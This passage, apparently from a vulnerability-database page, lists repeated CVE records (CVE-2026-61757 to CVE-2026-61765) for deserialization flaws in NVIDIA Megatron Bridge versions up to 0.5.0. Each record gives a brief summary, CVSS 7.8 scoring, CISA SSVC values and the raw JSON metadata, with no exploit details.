"dateUpdated": "2026-09-01T16:28:53.741Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:40.792Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61765"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61765"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61765",
"datePublished": "2026-09-01T16:02:40.792Z",
"dateReserved": "2026-07-10T19:08:58.084Z",
"dateUpdated": "2026-09-01T16:28:53.741Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61764 (GCVE-0-2026-61764)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:16 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61764",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:16:37.883575Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:53.599Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:43.907Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61764"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61764"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61764",
"datePublished": "2026-09-01T16:02:43.907Z",
"dateReserved": "2026-07-10T19:08:58.084Z",
"dateUpdated": "2026-09-01T16:28:53.599Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61763 (GCVE-0-2026-61763)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:16 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61763",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:16:52.611809Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:53.445Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:45.992Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61763"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61763"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61763",
"datePublished": "2026-09-01T16:02:45.992Z",
"dateReserved": "2026-07-10T19:08:58.084Z",
"dateUpdated": "2026-09-01T16:28:53.445Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61762 (GCVE-0-2026-61762)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:19 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61762",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:19:14.416965Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:53.301Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:47.381Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61762"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61762"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61762",
"datePublished": "2026-09-01T16:02:47.381Z",
"dateReserved": "2026-07-10T19:08:58.084Z",
"dateUpdated": "2026-09-01T16:28:53.301Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61761 (GCVE-0-2026-61761)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:19 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61761",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:19:26.111770Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:53.155Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:48.785Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61761"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61761"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61761",
"datePublished": "2026-09-01T16:02:48.785Z",
"dateReserved": "2026-07-10T19:08:58.084Z",
"dateUpdated": "2026-09-01T16:28:53.155Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61760 (GCVE-0-2026-61760)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:19 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61760",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:19:09.405517Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:52.998Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:49.770Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61760"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61760"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61760",
"datePublished": "2026-09-01T16:02:49.770Z",
"dateReserved": "2026-07-10T19:08:58.084Z",
"dateUpdated": "2026-09-01T16:28:52.998Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61759 (GCVE-0-2026-61759)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:16 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61759",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:16:44.966651Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:53.899Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:39.715Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61759"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61759"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61759",
"datePublished": "2026-09-01T16:02:39.715Z",
"dateReserved": "2026-07-10T19:03:51.557Z",
"dateUpdated": "2026-09-01T16:28:53.899Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61758 (GCVE-0-2026-61758)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:15 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61758",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:15:23.517480Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:54.796Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"value": "NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure."
}
],
"impacts": [
{
"descriptions": [
{
"lang": "en",
"value": "code execution, data tampering, information disclosure"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-502",
"description": "CWE-502 Deserialization of Untrusted Data",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:02:32.246Z",
"orgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"shortName": "nvidia"
},
"references": [
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61758"
},
{
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61758"
},
{
"url": "https://github.com/NVIDIA/product-security/tree/main/2026/5868"
}
],
"source": {
"discovery": "UNKNOWN"
},
"x_generator": {
"engine": "NVIDIA PSIRT"
}
}
},
"cveMetadata": {
"assignerOrgId": "9576f279-3576-44b5-a4af-b9a8644b2de6",
"assignerShortName": "nvidia",
"cveId": "CVE-2026-61758",
"datePublished": "2026-09-01T16:02:32.246Z",
"dateReserved": "2026-07-10T19:03:51.556Z",
"dateUpdated": "2026-09-01T16:28:54.796Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
CVE-2026-61757 (GCVE-0-2026-61757)
Vulnerability from nvd – Published: 2026-09-01 16:02 – Updated: 2026-09-01 16:28
VLAI
EPSS
VEX
Summary
NVIDIA Megatron Bridge contains a vulnerability where an attacker could cause a deserialization of untrusted data. A successful exploit of this vulnerability might lead to code execution, data tampering, and information disclosure.
Severity
7.8 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-09-01 16:14 UTC
CWE
- CWE-502 - Deserialization of Untrusted Data
Assigner
References
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| NVIDIA | Megatron Bridge |
Affected:
0.0 to 0.5.0
|
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-61757",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-09-01T16:14:34.843370Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-09-01T16:28:55.295Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"platforms": [
"All platforms"
],
"product": "Megatron Bridge",
"vendor": "NVIDIA",
"versions": [
{
"status": "affected",
"version": "0.0 to 0.5.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
